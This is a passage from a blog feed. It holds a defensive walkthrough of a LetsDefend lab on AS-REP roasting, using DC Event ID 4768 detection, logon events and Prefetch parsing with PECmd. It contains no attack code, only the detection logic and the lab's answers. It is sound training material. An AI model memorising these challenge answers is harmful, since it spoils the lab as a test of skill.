src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;AS-REQ&lt;/em&gt; and &lt;em&gt;AS-REP&lt;/em&gt; are the first steps in the Kerberos authentication process. AS-REP roasting becomes possible when an account has &lt;strong&gt;Kerberos pre-authentication disabled&lt;/strong&gt;. With pre-authentication enabled, the user&amp;rsquo;s &lt;em&gt;AS-REQ&lt;/em&gt; includes a timestamp encrypted with their password hash. The domain controller must decrypt that timestamp before it will issue an &lt;em&gt;AS-REP&lt;/em&gt; containing a TGT.&lt;/p&gt;&#xA;&lt;p&gt;When an account doesn&amp;rsquo;t require this pre-authentication, attackers can just send an &lt;em&gt;AS-REQ,&lt;/em&gt; snag the &lt;em&gt;AS-REP,&lt;/em&gt; and then brute-force the encrypted data offline to expose credentials. This tactic is what&amp;rsquo;s called an &lt;strong&gt;AS-REP Roasting attack&lt;/strong&gt;, which &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; classifies under &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: AS-REP Roasting&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(T1558.004).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; describes it like this:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/002&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Password Cracking&lt;/a&gt; Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Not good! But understanding this flow is exactly what we need as we move into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; also provides helpful detection guidance. It recommends monitoring for patterns such as:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (&lt;strong&gt;Event ID 4768&lt;/strong&gt; with &lt;strong&gt;Pre-Auth Type 0&lt;/strong&gt;). Correlates these requests with subsequent service ticket activity (&lt;strong&gt;Event ID 4769&lt;/strong&gt;) and anomalies such as requests using weak RC4 encryption &lt;strong&gt;(etype 0x17&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, by combining these telemetry points and applying them to our investigation, we can quickly spot &lt;em&gt;AS-REP roasting&lt;/em&gt; activity and scope the attack. Let&amp;rsquo;s give it a shot!&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-15&#34;&gt;Questions 1€“5:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;while-reviewing-the-logs-janice-identified-suspicious-kerberos-ticket-requests-potentially-indicating-an-as-rep-attack-what-is-the-exact-time-this-attack-occurred&#34;&gt;While reviewing the logs, Janice identified suspicious Kerberos ticket requests, potentially indicating an AS-REP attack. What is the exact time this attack occurred?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-user-account-did-the-attacker-target-during-this-kerberosattack&#34;&gt;What user account did the attacker target during this Kerberos attack?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sid-associated-with-the-targeted-useraccount&#34;&gt;What is the SID associated with the targeted user account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-encryption-algorithm-was-used-in-this-kerberos-ticketrequest&#34;&gt;What encryption algorithm was used in this Kerberos ticket request?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-ip-and-port-number-that-was-used-to-request-theticket&#34;&gt;What is the IP and port number that was used to request the ticket?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we&amp;rsquo;ve gotten a grasp of the theory behind an &lt;strong&gt;AS-REP attack&lt;/strong&gt;, let&amp;rsquo;s put it into practice and jump into the challenge. After extracting the contents of &lt;code&gt;AS-REP.7z&lt;/code&gt;, you&amp;rsquo;ll see two folders: &lt;strong&gt;Corrado&lt;/strong&gt;, which contains the compromised workstation artifacts, and &lt;strong&gt;DC&lt;/strong&gt;, which contains the domain controller logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;780px&#34; data-flex-grow=&#34;325&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/13414c13cdb193258e6bc5625cd0608a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re investigating an &lt;em&gt;AS-REP&lt;/em&gt; attack, we&amp;rsquo;ll need to focus on &lt;strong&gt;TGT ticket requests&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Event ID&lt;/a&gt; &lt;code&gt;[4768](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)&lt;/code&gt;), which are only available on a domain controller. The first artifact we need to examine is the DC&amp;rsquo;s &lt;code&gt;Security.evtx&lt;/code&gt; log. You can open it with Windows Event Viewer, or you can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that significantly speeds up log analysis. Because &lt;em&gt;Event Log Explorer&lt;/em&gt; is already included in the &lt;em&gt;LetsDefend&lt;/em&gt; analysis environment, that&amp;rsquo;s what I&amp;rsquo;ll be using in this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Once you have the log open in &lt;em&gt;Event Log Explorer&lt;/em&gt;, press the filter button in the top toolbar. In the filter window, search for Ticket Granting Ticket request events (Event ID &lt;code&gt;4768&lt;/code&gt;) where &lt;code&gt;PreAuthType = 0&lt;/code&gt;. This applies what we learned directly from the &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; detection strategy, reduces the log noise, and highlights requests for accounts where pre-authentication is disabled.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;746&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/dcf555f33a8f3a3a497ca9ee5df03666_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering TGT requests without pre-authentication&lt;/p&gt;&#xA;&lt;p&gt;With the filtered results in front of us, the next step is to find the event matching the third parameter of the MITRE detection rule: a Ticket Encryption Type associated with a weak legacy algorithm such as RC4 (&lt;code&gt;0x17&lt;/code&gt;). Scanning through the events, you&amp;rsquo;ll notice one entry that stands out because its &lt;code&gt;Ticket Encryption Type&lt;/code&gt; field differs from the others.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;353px&#34; data-flex-grow=&#34;147&#34; height=&#34;543&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/35e6de1a7b14958e8983b534301a184f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying a request using weaker encryption&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified this event, we have all the information needed to answer the first five questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the attack occurred (remember to convert your answer to UTC!)&lt;/li&gt;&#xA;&lt;li&gt;Which user account was targeted&lt;/li&gt;&#xA;&lt;li&gt;The Security ID (SID) associated with that account&lt;/li&gt;&#xA;&lt;li&gt;The encryption algorithm used in the Kerberos request&lt;/li&gt;&#xA;&lt;li&gt;The IP address and port number the attacker used to request the ticket&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;179px&#34; data-flex-grow=&#34;74&#34; height=&#34;1070&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/85da6069b4fb4e626f7d64b33d5608fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-attacker-managed-to-crack-the-hash-and-used-it-to-log-into-the-compromised-machine-when-was-their-first-logonattempt&#34;&gt;Question 6: The attacker managed to crack the hash and used it to log into the compromised machine. When was their first logon attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the suspicious &lt;em&gt;AS-REP&lt;/em&gt; in the domain controller logs, it&amp;rsquo;s time to pivot to our second artifact: the &lt;code&gt;Security.evtx&lt;/code&gt; file from Corrado&amp;rsquo;s workstation. This log will help us spot the attacker&amp;rsquo;s first login attempt after cracking the hash obtained through the initial &lt;strong&gt;AS-REP Roasting&lt;/strong&gt; activity.&lt;/p&gt;&#xA;&lt;p&gt;Load the workstation&amp;rsquo;s &lt;code&gt;Security.evtx&lt;/code&gt; file in &lt;strong&gt;Event Log Explorer&lt;/strong&gt;. This time, filter for successful logons (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Event ID&lt;/a&gt; &lt;code&gt;[4624](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624)&lt;/code&gt;) on the device. To make the search more efficient, adjust the time window to only include events that happened &lt;strong&gt;after&lt;/strong&gt; the suspicious &lt;em&gt;AS-REP&lt;/em&gt; request. In this challenge, that means everything after &lt;code&gt;10/5/2024 2:42:44 PM&lt;/code&gt; and through the end of the day (&lt;code&gt;10/5/2024 11:59:00 PM&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Since we already identified a source IP address in &lt;strong&gt;Question 5&lt;/strong&gt; associated with the &lt;em&gt;AS-REP&lt;/em&gt; activity, we can add that address as a custom field in the filter. This dramatically reduces our noise floor and helps us zero in on the attacker&amp;rsquo;s follow-up actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;258px&#34; data-flex-grow=&#34;107&#34; height=&#34;743&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/9d0f174cee63ab69351f802473c8cb72_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful logon events from the suspicious source IP&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start by looking at the earliest matching result. Even though the filter is showing only logins from the source IP we associated with the &lt;em&gt;AS-REP&lt;/em&gt; traffic, there are several red flags in the event details that suggest malicious activity. These include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;code&gt;Logon Type&lt;/code&gt; of &lt;code&gt;3&lt;/code&gt;, meaning a Network logon requested over SMB, WinRM, or another remote protocol&lt;/li&gt;&#xA;&lt;li&gt;An &lt;code&gt;Account Name&lt;/code&gt; of &lt;code&gt;ANONYMOUS LOGON&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;Logon GUID&lt;/code&gt; of &lt;code&gt;{00000000-0000-0000-0000-000000000000}&lt;/code&gt;, which is expected for anonymous or unauthenticated network connections&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These characteristics strongly suggest that this is the attacker&amp;rsquo;s first attempt to access the machine using the cracked credential.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/c4b6fea2e2e2c8459408e8819c263fde_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Event Log Explorer: First suspicious network logon tied to the attacker&amp;rsquo;s source IP&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;950px&#34; data-flex-grow=&#34;396&#34; height=&#34;202&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/5158609f1fd429d28d6fa6b3a9c367e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;once-inside-the-attacker-began-exploring-the-system-what-was-the-first-command-they-executed&#34;&gt;Once inside, the attacker began exploring the system. What was the first command they executed?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-did-the-attacker-execute-this-commandexactly&#34;&gt;When did the attacker execute this command exactly?&#xA;&lt;/h4&gt;&lt;p&gt;Our next task is to figure out the first command the attacker ran once they gained access to Corrado&amp;rsquo;s workstation. To do that, we&amp;rsquo;ll pivot away from the event logs and turn to a third forensic artifact: &lt;strong&gt;Windows Prefetch files&lt;/strong&gt;. You can find them in the following directory:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch&lt;/p&gt;&#xA;&lt;p&gt;Rather than reinvent the wheel on describing these artifacts, I&amp;rsquo;ll pull from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, who explain it much better than me:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user&amp;rsquo;s application history on a computer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, the idea is that if we can parse these files, we can identify which executable the attacker launched first. As-is, though, the files aren&amp;rsquo;t meant to be read directly, so we need a way to convert them into something usable&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/edd8162936fa273043ffc1151cc37c78_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The contents of the prefetch folder&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;, one of the many tools in &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; suite. It&amp;rsquo;s built to parse the prefetch logs and it&amp;rsquo;s already loaded in the analysis environment, so we just need to run it from PowerShell. Here&amp;rsquo;s an example command where we tell &lt;code&gt;PECmd&lt;/code&gt; to parse the prefetch directory and output to a CSV called &lt;code&gt;investigation.csv&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/49a362e573ebc07ad8610ad3f431f424_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;.\PECmd.exe -d &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch&amp;quot; &amp;ndash;csv C:\Users\LetsDefend\Desktop\ChallengeFile\ &amp;ndash;csvf investigation.csv&lt;/p&gt;&#xA;&lt;p&gt;Once the CSV is generated, open it with another &lt;em&gt;Zimmerman&lt;/em&gt; tool, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, which lets us sort and filter the parsed data.&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;em&gt;Timeline Explorer&lt;/em&gt;, filter on the &lt;strong&gt;Last Run&lt;/strong&gt; column so we can start building a timeline. From the earlier questions, we know the attacker first logged in at &lt;code&gt;2024-10-05 14:48:58&lt;/code&gt;, so we&amp;rsquo;ll focus on entries right after that time. With the rows sorted, look at the &lt;code&gt;Executable Name&lt;/code&gt; column and we&amp;rsquo;ll see the first commands run by the attacker.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/ac035c26c3784723346c56e11827309a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the first command the attacker used to explore the system&lt;/p&gt;&#xA;&lt;p&gt;Now, &lt;strong&gt;Question 7&lt;/strong&gt; is slightly open to interpretation. It mentions that &amp;ldquo;the attacker began exploring the system,&amp;ldquo;so we can reasonably assume it&amp;rsquo;s asking for the first &lt;em&gt;discovery-related&lt;/em&gt; command. In this dataset, that command is &lt;code&gt;whoami.exe&lt;/code&gt;. This aligns with &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK T1033&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;(System Owner/User Discovery)&lt;/strong&gt; and is a common early step for attackers who want to confirm what account they compromised and what privileges they have.&lt;/p&gt;&#xA;&lt;p&gt;The great thing is that now that we&amp;rsquo;ve identified the command, we can also answer Question &lt;strong&gt;8&lt;/strong&gt; by pulling the exact timestamp from the &lt;em&gt;Last Run&lt;/em&gt; column in &lt;em&gt;Timeline Explorer&lt;/em&gt;. That gives us the precise moment the attacker executed &lt;code&gt;whoami.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;466px&#34; data-flex-grow=&#34;194&#34; height=&#34;412&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/0061ad25fa363595f7a6d47af334a0bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/3c6b1e6a44e04ff826975e31d345937b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for dropping these awesome classic Active Directory attack challenges.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great chance to revisit &lt;strong&gt;Kerberos&lt;/strong&gt; fundamentals and sharpen incident response skills. Instead of juggling a dozen artifacts, we focused on the &lt;em&gt;Windows Security Event Logs&lt;/em&gt; and used &lt;strong&gt;Event Log Explorer&lt;/strong&gt; to piece together what went down.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we identified &lt;em&gt;AS-REP roasting&lt;/em&gt; in DC logs (Event ID &lt;code&gt;4768&lt;/code&gt; with &lt;code&gt;PreAuthType = 0&lt;/code&gt; and RC4 &lt;code&gt;0x17&lt;/code&gt;), confirmed the attacker&amp;rsquo;s first successful logon on the endpoint (Event ID &lt;code&gt;4624&lt;/code&gt;, &lt;code&gt;Logon Type = 3&lt;/code&gt;, &lt;code&gt;ANONYMOUS LOGON&lt;/code&gt;, null GUID), and then used &lt;strong&gt;Windows Prefetch&lt;/strong&gt; parsed with &lt;strong&gt;PECmd&lt;/strong&gt; and reviewed in &lt;strong&gt;Timeline Explorer&lt;/strong&gt; to surface &lt;code&gt;whoami.exe&lt;/code&gt; as the first discovery command and grab the exact execution time.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to continue the series and to brush up on Windows IR and refresh on &lt;em&gt;Kerberos&lt;/em&gt; misconfigurations like missing pre-authentication. Even in a cloud-heavy world, techniques like enumeration, ticket abuse, and lateral movement still show up in real incidents. Knowing how to spot them fast from DC telemetry and validate on the host is table stakes for any blue teamer. Awesome stuff.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/as-rep-challenge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Kerberos Network Authentication Service (V5) Synopsis&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4768(S, F): A Kerberos authentication ticket (TGT) was requested&amp;rdquo;&#xA;**: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4624(S): An account was successfully logged on&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Forensic Analysis of Prefetch files in Windows&lt;/em&gt;&lt;/strong&gt;&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — System Owner/User Discovery (T1033):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1033/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Golden Ticket Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/</link>
            <pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/</guid>
